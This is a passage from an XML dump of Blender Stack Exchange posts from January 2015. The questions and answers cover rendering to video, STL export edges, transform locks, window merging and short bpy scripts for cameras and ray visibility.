  <row Id="23520" PostTypeId="2" ParentId="139" CreationDate="2015-01-21T01:55:00.100" Score="2" Body="&lt;p&gt;run the following script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;scene = bpy.context.scene&#xA;currentcam = bpy.context.scene.camera&#xA;setcam = False&#xA;&#xA;for ob in scene.objects:&#xA;    if ob.type == 'CAMERA':&#xA;        if ob == currentcam:&#xA;            setcam = True&#xA;        elif setcam:&#xA;            bpy.context.scene.camera = ob&#xA;            break&#xA;&#xA;if currentcam == bpy.context.scene.camera:      &#xA;    for ob in scene.objects:&#xA;        if ob.type == 'CAMERA':&#xA;            bpy.context.scene.camera = ob&#xA;            break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2533" LastActivityDate="2015-01-21T01:55:00.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23521" PostTypeId="2" ParentId="23513" CreationDate="2015-01-21T02:53:53.037" Score="6" Body="&lt;p&gt;Another method using curves:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add two &lt;b&gt;Bezier Circles&lt;/b&gt; and select one. &lt;kbd&gt;Tab&lt;/kbd&gt; into &lt;b&gt;Edit Mode&lt;/b&gt; and with all handles selected press &lt;kbd&gt;V&lt;/kbd&gt; and select &lt;b&gt;Vector&lt;/b&gt;. Press &lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;4&lt;/kbd&gt;&lt;kbd&gt;5&lt;/kbd&gt;&lt;kbd&gt;Enter&lt;/kbd&gt;. &lt;kbd&gt;Tab&lt;/kbd&gt; out of &lt;b&gt;Edit Mode&lt;/b&gt; and select the other circle. In the properties panel (Data) set the other curve as &lt;b&gt;Bevel Object&lt;/b&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The shape can be adjusted by scaling the bevel object in object mode or moving the handles in &lt;b&gt;Edit Mode&lt;/b&gt;. You can use &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; to convert the curve into a mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pOKGJ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or using the Screw Modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use the &lt;b&gt;Screw Modifier&lt;/b&gt;. Add a plane, &lt;kbd&gt;Tab&lt;/kbd&gt; into &lt;b&gt;Edit Mode&lt;/b&gt;. With all vertices selected press &lt;kbd&gt;X&lt;/kbd&gt; - Only Faces. Move the vertices off center along the Y axis. &lt;kbd&gt;Tab&lt;/kbd&gt; out of Edit Mode and add a Screw Modifier. Select the X axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hCDtB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both methods are also good for more complex geometry.&lt;/p&gt;&#xA;" OwnerUserId="2859" LastActivityDate="2015-01-21T02:53:53.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23522" PostTypeId="1" CreationDate="2015-01-21T02:56:07.997" Score="13" ViewCount="147190" Body="&lt;p&gt;I am basically trying to make an intro for my youtube channel. I am sort of familiar with the program because I was playing around with it for a long time, getting the basics of it. With the help of youtube videos I am basically done with my project. I put my name in it and everything. I just need to know how to save the animation onto my desktop as a file that I could open and would be in a video format.&lt;/p&gt;&#xA;" OwnerUserId="11105" LastEditorDisplayName="user1853" LastEditDate="2015-01-21T04:55:58.787" LastActivityDate="2018-01-18T11:34:53.573" Title="How to save animation as a video format" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;export&gt;&lt;video&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="3" ClosedDate="2015-01-21T10:37:49.863" ContentLicense="CC BY-SA 3.0" />
  <row Id="23523" PostTypeId="1" AcceptedAnswerId="23650" CreationDate="2015-01-21T03:05:22.267" Score="2" ViewCount="256" Body="&lt;p&gt;[Solved]&#xA;I have modeled a plane and made a little &quot;world&quot; However, if I add a simple camera and play around with it, it will see through and will show textures lower than where it is.&lt;br&gt;&#xA;So before I run the game:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/vqrC5.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vqrC5.jpg&quot; alt=&quot;object mode&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if i run the game&#xA;&lt;a href=&quot;https://i.stack.imgur.com/bHeCw.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bHeCw.jpg&quot; alt=&quot;BGE running&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, it will see through the ground. any ways to fix this? I tried recalculating the normals, flipping the normals, and checked the normals, but it wouldn't work.&lt;/p&gt;&#xA;" OwnerUserId="11106" LastEditorUserId="3710" LastEditDate="2015-01-23T10:09:37.130" LastActivityDate="2015-02-22T10:31:49.400" Title="See through object in Blender game engine" Tags="&lt;game-engine&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23524" PostTypeId="1" AcceptedAnswerId="23579" CreationDate="2015-01-21T03:36:13.237" Score="5" ViewCount="1180" Body="&lt;p&gt;I'm trying to make a background using &lt;a href=&quot;http://blenderdiplom.com/en/tutorials/335-tutorial-a-cool-looking-inkdrop-in-blender.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; tutorial and I've been doing some renders, and they've been going well. (if only baking didn't take so long... )&#xA;Anyway, I have a problem, as you can see in this image,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/oMi7rLN.jpg&quot; alt=&quot;this&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the smoke has weird noise within the transparent parts of it, does anyone know how to fix this? I upped the resolution, so that's not the problem... I'm not too experienced with Internal so I don't know if noise is normal.&#xA;Do you guys have any ideas?&lt;/p&gt;&#xA;" OwnerUserId="11107" LastEditorUserId="599" LastEditDate="2015-01-21T23:15:00.450" LastActivityDate="2015-01-21T23:15:00.450" Title="Noise in Blender Internal Smoke Sim?" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;&lt;smoke-simulation&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23526" PostTypeId="2" ParentId="23509" CreationDate="2015-01-21T03:53:58.687" Score="2" Body="&lt;p&gt;You can use the vse by creating the mask in the uv image editor set to rendered output. F12 to get the current frame from vse tineline to the image editor. Set right aspect there and create mask.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2015-01-21T03:53:58.687" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23527" PostTypeId="2" ParentId="23522" CreationDate="2015-01-21T05:11:10.213" Score="15" Body="&lt;p&gt;Set the Output to &amp;quot;AVI JPEG&amp;quot; in the render settings.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gd0nr.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wp9Yd.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Also , to set the place where it is saved , Click next to &amp;quot;/tmp/&amp;quot; , That folder image. Then select where to save. After doing all these steps you can then render and it will appear where you saved it.&lt;/p&gt;&#xA;&lt;h1&gt;UPDATE:&lt;/h1&gt;&#xA;&lt;p&gt;One of the big changes in 2.79 is that they finally separated containers and codecs.&#xA;The encoding options from previous versions are still there, but now they have organized differently&lt;/p&gt;&#xA;&lt;p&gt;If you select &lt;strong&gt;FFMpeg video&lt;/strong&gt;, there will be a new tab for &lt;strong&gt;Encoding&lt;/strong&gt; options.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Q7yiX.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q7yiX.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;There you can select the container and the codec for the output file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Digital_container_format&quot; rel=&quot;noreferrer&quot;&gt;Container&lt;/a&gt; is the file format for the file, (Mov, Avi, Ogg, MP4, to name a few) sometimes is referred as a &amp;quot;wrapper&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Video_codec&quot; rel=&quot;noreferrer&quot;&gt;Codec&lt;/a&gt; (short for Compression-Decompression) Is how the image is compressed. The picture quality, file size and processing power needed to view the file are largely determined by the kind of codec used and the settings used for it.&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="-1" LastEditorDisplayName="user1853" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2018-01-18T11:34:53.573" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23529" PostTypeId="1" CreationDate="2015-01-21T06:25:01.467" Score="1" ViewCount="2145" Body="&lt;p&gt;Okay, so I downloaded a .blend of Tux Penguin, but because I'm too dumb to know how to remove some sort of transform lock thing that came with the model, I can't rig it the way I want to. For some bones, it is impossible to transform them, and attempting to do so will result in switching tools to the rotate tool instead.&#xA;How do I remove these locks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/l00ps54xzf2yk7u/Penguin.blend?dl=0&quot; rel=&quot;nofollow&quot;&gt;This is the problem.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11102" LastEditorUserId="11102" LastEditDate="2015-01-21T08:02:47.490" LastActivityDate="2015-01-21T09:22:25.200" Title="How to remove some sort of constraint?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;rigging&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23530" PostTypeId="2" ParentId="23529" CreationDate="2015-01-21T09:22:25.200" Score="1" Body="&lt;p&gt;2 things : the first being constraints , Remove them for full accessibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gh56O.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second being transform locks , They are in the objects tab. Make sure they are all deselected / unlocked&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qevw0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1829" LastActivityDate="2015-01-21T09:22:25.200" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23531" PostTypeId="1" CreationDate="2015-01-21T09:44:23.047" Score="2" ViewCount="365" Body="&lt;p&gt;I made Blitzcrank even though it's not blitzcrank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bhxuq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Fig-1]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fig-1 Doesn't have edge on face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.stl file is made in blender and exported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when i import .stl file into makerware, i see Fig-2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AN6xw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Fig-2]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edge was suddenly made in makerware!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to solve this issue?&lt;/p&gt;&#xA;" OwnerUserId="11110" LastEditorUserId="7777" LastEditDate="2015-01-21T14:26:07.927" LastActivityDate="2015-03-22T16:50:25.337" Title="why .stl-model in blender differ from .stl-model in makerware?" Tags="&lt;edges&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23532" PostTypeId="1" CreationDate="2015-01-21T10:15:19.210" Score="3" ViewCount="690" Body="&lt;p&gt;I want to handle some gui updates myself and use&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;app.handlers.scene_update_post.append(myFunction)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def myFunction(context):&#xA;  if bpy.context.scene.is_updated:&#xA;    if myPropertyChanged():&#xA;      print(bpy.context.scene.myProperty)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works flawless, except that I can't detect when I stop dragging a slider value (= mouseUp). The problem is that Blender returns values &lt;em&gt;while&lt;/em&gt; dragging an input. While draggin an input x from 0 to 100, Blender returns multiple values like &quot;1,23,24,38,49,99,100&quot;.&#xA;I just want the value when a) the user stops dragging completely or b) the user stops clicking (mouseUp). I the returned values in between 1 and 100 are from Blender guessing wrong that the user stopped dragging.&#xA;A hacky way would be to measure time and then decide &quot;oh nothing is changing anymore&quot; but that could conflict with a user inputing value very fast with the keyboard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I don't want to use a modal operator for this.&lt;/strong&gt; Is there a way of getting a mouseUp-event without a modal operator?&lt;/p&gt;&#xA;" OwnerUserId="11111" LastActivityDate="2015-01-21T10:15:19.210" Title="Get events without running modal" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23533" PostTypeId="1" CreationDate="2015-01-21T10:33:06.830" Score="2" ViewCount="258" Body="&lt;p&gt;when rendering scenes on the farm, the created logfiles get huge. Is there a way to reduce cycles log output? --verbose didn't work for me...&#xA;Thx&lt;/p&gt;&#xA;" OwnerUserId="7923" LastActivityDate="2015-01-21T10:33:06.830" Title="How to reduce Cycles logging output?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;command-line&gt;" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="23534" PostTypeId="1" AcceptedAnswerId="23535" CreationDate="2015-01-21T12:03:10.730" Score="0" ViewCount="1195" Body="&lt;p&gt;After I open an additional view of a window, how do I get rid of it?  Example below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://imgur.com/AJVy3nv&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/AJVy3nv.png&quot; title=&quot;source: imgur.com&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dragging to the right/left does not help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using 2.72 on Windows 7.&lt;/p&gt;&#xA;" OwnerUserId="6335" LastActivityDate="2015-01-21T12:21:22.663" Title="How to get rid of opened duplicate window" Tags="&lt;interface&gt;&lt;windows&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-01-21T13:45:57.297" ContentLicense="CC BY-SA 3.0" />
  <row Id="23535" PostTypeId="2" ParentId="23534" CreationDate="2015-01-21T12:12:53.560" Score="2" Body="&lt;p&gt;You have to drag from the left-bottom corner or the right-upper one. They're marked, as you can see in this image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zpKX1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To delete a window, just drag from the one that you want to keep to the other one. Anyway, you can change the direction of the merging action later if you don't release the left button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you need to merge two windows with the same height/width. Look this layout as an example. The red arrow marks not working merging operations and the blu ones valid operations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dgeTl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9482" LastEditorUserId="9482" LastEditDate="2015-01-21T12:21:22.663" LastActivityDate="2015-01-21T12:21:22.663" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23536" PostTypeId="2" ParentId="21807" CreationDate="2015-01-21T12:37:38.627" Score="9" Body="&lt;p&gt;There is also a material preview scene provided by &lt;a href=&quot;http://blenderdiplom.com/en/&quot; rel=&quot;noreferrer&quot;&gt;blenderdiplom.com&lt;/a&gt; with a better light setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fKxn3.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderdiplom.com/en/downloads/584-download-cycles-material-test-scene.html&quot; rel=&quot;noreferrer&quot;&gt;http://blenderdiplom.com/en/downloads/584-download-cycles-material-test-scene.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2015-01-28T20:57:37.920" LastActivityDate="2015-01-28T20:57:37.920" CommentCount="0" CommunityOwnedDate="2015-01-29T09:27:09.707" ContentLicense="CC BY-SA 3.0" />
  <row Id="23537" PostTypeId="1" AcceptedAnswerId="23544" CreationDate="2015-01-21T12:48:14.507" Score="1" ViewCount="71" Body="&lt;p&gt;In the 2.69-based tutorial I am following, this is the interface shown for the Properties panel of the Video Sequence Editor set to Preview:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://imgur.com/OA5rEQo&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/OA5rEQo.png&quot; title=&quot;source: imgur.com&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the 2.72 version I am using on Windows 7, this is what I get for the same:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://imgur.com/9CsEcbG&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/9CsEcbG.png&quot; title=&quot;source: imgur.com&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get my version to match the tutorial?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, what setting in the Video Sequence Editor controls Preview vs Sequencer sub-views?&lt;/p&gt;&#xA;" OwnerUserId="6335" LastActivityDate="2015-01-21T15:54:10.107" Title="Mismatch between 2.69 and 2.72 interfaces for Video Sequence Editor window" Tags="&lt;video-sequence-editor&gt;&lt;windows&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23538" PostTypeId="1" AcceptedAnswerId="23564" CreationDate="2015-01-21T12:52:24.767" Score="1" ViewCount="191" Body="&lt;p&gt;I'm using curves to make a ramification because I need to model 3D veins for another bigger model, the interior of the human body. Is there any way to make a ramification with (Bézier) curves, or should this be done in a different way?&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="1253" LastEditDate="2015-08-27T19:53:52.260" LastActivityDate="2015-08-27T19:53:52.260" Title="How can I make a ramification with curves?" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23539" PostTypeId="1" AcceptedAnswerId="23540" CreationDate="2015-01-21T13:11:18.787" Score="7" ViewCount="3360" Body="&lt;p&gt;What is the shortcut to close up / zoom to face / vertex / edge while modelling?&#xA;I mean, the button or shortcut to see the part of the model that you are selecting on detail, maybe for big models?&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="12" LastEditDate="2015-01-24T18:21:59.777" LastActivityDate="2018-06-06T13:47:36.873" Title="What is the shortcut to close up / zoom to face / vertex / edge while modelling?" Tags="&lt;3d-view&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23540" PostTypeId="2" ParentId="23539" CreationDate="2015-01-21T13:13:44.920" Score="11" Body="&lt;p&gt;View selected is &lt;kbd&gt;Numpad .&lt;/kbd&gt; (the full-stop/period/decimal point on the numpad)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also available from &lt;em&gt;3D view &gt; View &gt; Align View &gt; View Selected&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vWuVi.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vWuVi.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="31447" LastEditDate="2018-06-06T13:47:36.873" LastActivityDate="2018-06-06T13:47:36.873" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23541" PostTypeId="1" CreationDate="2015-01-21T14:08:58.173" Score="3" ViewCount="962" Body="&lt;p&gt;&lt;strong&gt;Is there any way to change the ray visibility of multiple objects (say from selected)?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been trying to say make 150 objects invisible for diffuse - do i have to go by hand?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or is there way to write&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.object.cycles_visibility.* = True/False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but not to object?&lt;/p&gt;&#xA;" OwnerUserId="11113" LastEditorUserId="29" LastEditDate="2015-01-21T15:12:48.760" LastActivityDate="2015-01-21T15:12:48.760" Title="cycles visibility for multiple objects" Tags="&lt;python&gt;&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23542" PostTypeId="2" ParentId="23511" CreationDate="2015-01-21T14:12:00.717" Score="3" Body="&lt;p&gt;I think the only reason to have it off by default is compatibility, it was a feature added to the existing smoke simulator.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Added a new &quot;Adaptive Domain&quot; setting for smoke domains: Domain resolution and size adapts to only cover areas where smoke is, so that as small domain as possible has to be calculated at a time.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To enable it when opening an old file would cause a zero sized domain breaking the existing smoke simulation cache, or at the least force existing smoke caches to need re-baking. Leaving it off allows the user to re-bake only when they decide to.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-01-21T14:12:00.717" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23543" PostTypeId="2" ParentId="23541" CreationDate="2015-01-21T14:29:50.840" Score="4" Body="&lt;p&gt;Paste this into text editor and run it for your selection:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;for obj in bpy.context.selected_objects:&#xA;     obj.cycles_visibility.diffuse = False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-01-21T14:29:50.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23544" PostTypeId="2" ParentId="23537" CreationDate="2015-01-21T15:21:28.643" Score="2" Body="&lt;p&gt;Found the solution.  Click on the &quot;Current editor type for this area&quot; icon (see picture below) and select &quot;Properties&quot; from the menu that comes up.  The display will change to the window type shown in the tutorial above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://imgur.com/qMiqAnj&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/qMiqAnj.png&quot; title=&quot;source: imgur.com&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a detailed capture of the resulting new Properties window:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://imgur.com/PjJnyHf&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/PjJnyHf.png&quot; title=&quot;source: imgur.com&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Blender... powerful software, but what a learning curve!)&lt;/p&gt;&#xA;" OwnerUserId="6335" LastEditorUserId="6335" LastEditDate="2015-01-21T15:54:10.107" LastActivityDate="2015-01-21T15:54:10.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23545" PostTypeId="2" ParentId="23531" CreationDate="2015-01-21T15:33:04.747" Score="1" Body="&lt;p&gt;That is the result of non-planar faces.  STL files only support tris (partly for this exact reason).  So when you export a mesh to .stl, Blender will automatically triangulate all faces.  So if a face's vertices are only slightly non-coplanar, in Blender it won't look strange, but once the model is triangulated you will definitely be able to see the extra edge placed across the face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is to either model in tris, or to manually make the non-planar faces planar.  The latter solution is probably your best bet now, though it is kind of ugly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a side note I noticed that some of your normals are inverted (the darker faces), this might cause problems if you are planning on 3D printing your model.  To fix this simply select the faces and hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;F&lt;/kbd&gt; &gt; &lt;em&gt;invert normals&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2015-01-21T15:33:04.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23546" PostTypeId="1" CreationDate="2015-01-21T15:54:42.437" Score="1" ViewCount="80" Body="&lt;p&gt;I'm trying to export a file from Blender to OBJ and when I click export, and then click obj, the whole file menu disappears.I then have to close blender and restart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please Help!!&lt;/p&gt;&#xA;" OwnerUserId="11116" LastActivityDate="2015-01-21T15:54:42.437" Title="Export Problems!" Tags="&lt;export&gt;" AnswerCount="0" CommentCount="0" ClosedDate="2015-01-21T16:32:22.947" ContentLicense="CC BY-SA 3.0" />
  <row Id="23547" PostTypeId="1" CreationDate="2015-01-21T15:55:23.920" Score="0" ViewCount="947" Body="&lt;p&gt;I have a grid mesh and a spot light above, casting checkerd shadows on the ground.&#xA;It works well in viewmode, if I render the image it works as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only when I hit &quot;p&quot; and enter game mode, everything is just flat and more or less shadeless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have GLSL enabled and switched viewmode to texture before I enter the game.&#xA;Any clues?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: See comment for solution :)&lt;/p&gt;&#xA;" OwnerUserId="9529" LastEditorUserId="9529" LastEditDate="2015-01-21T17:27:09.543" LastActivityDate="2015-01-21T17:27:09.543" Title="blender game engine, spot lamp shadow problem" Tags="&lt;game-engine&gt;&lt;light&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23548" PostTypeId="1" AcceptedAnswerId="23551" CreationDate="2015-01-21T15:59:27.953" Score="3" ViewCount="1352" Body="&lt;p&gt;I created this earth using cycles can anybody tell me how to add a &lt;strong&gt;&lt;em&gt;glow effects&lt;/em&gt;&lt;/strong&gt; to it and also if &lt;strong&gt;anything&lt;/strong&gt; could be done to make it better.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wsL4u.png&quot; alt=&quot;The Earth&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11117" LastEditorDisplayName="user1853" LastEditDate="2015-01-22T01:22:06.043" LastActivityDate="2015-01-22T01:22:06.043" Title="Add a glow effect around the Earth" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="19" ClosedDate="2015-01-21T17:54:01.333" ContentLicense="CC BY-SA 3.0" />
  <row Id="23549" PostTypeId="1" CreationDate="2015-01-21T16:00:28.263" Score="1" ViewCount="1041" Body="&lt;p&gt;I'm on Windows 8.1 (surface pro2), with Blender 2.73a. I reinstalled blender and tested again, uninstalled again and installed latest 2.73a, tested again...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I seem to have followed every step in order to paint textures on my model (plain standard cube).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can paint! Technically everything is working, but &lt;strong&gt;I cannot switch between the layers by clicking the brush icon in the Texture Paint Manager&lt;/strong&gt; (&lt;kbd&gt;N&lt;/kbd&gt; - Sidepanel when in texture paint mode). I can even toggle their visibility via the eye icon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I switch via the brush icon (bpy.ops.object.set_active_paint_layer(tex_index=1)), it selects the texture in the properties window, but it doesn't switch the Paint Slots and thus I keep painting on the first layer, no matter where the brush icon displays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything is working when I directly click on another Paint Slot in the left panel, but that's tiring because I have to switch back and forth between &quot;Tools&quot; to select a brush and &quot;Slots&quot; to switch layers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have an idea what's going on or can anyone reproduce 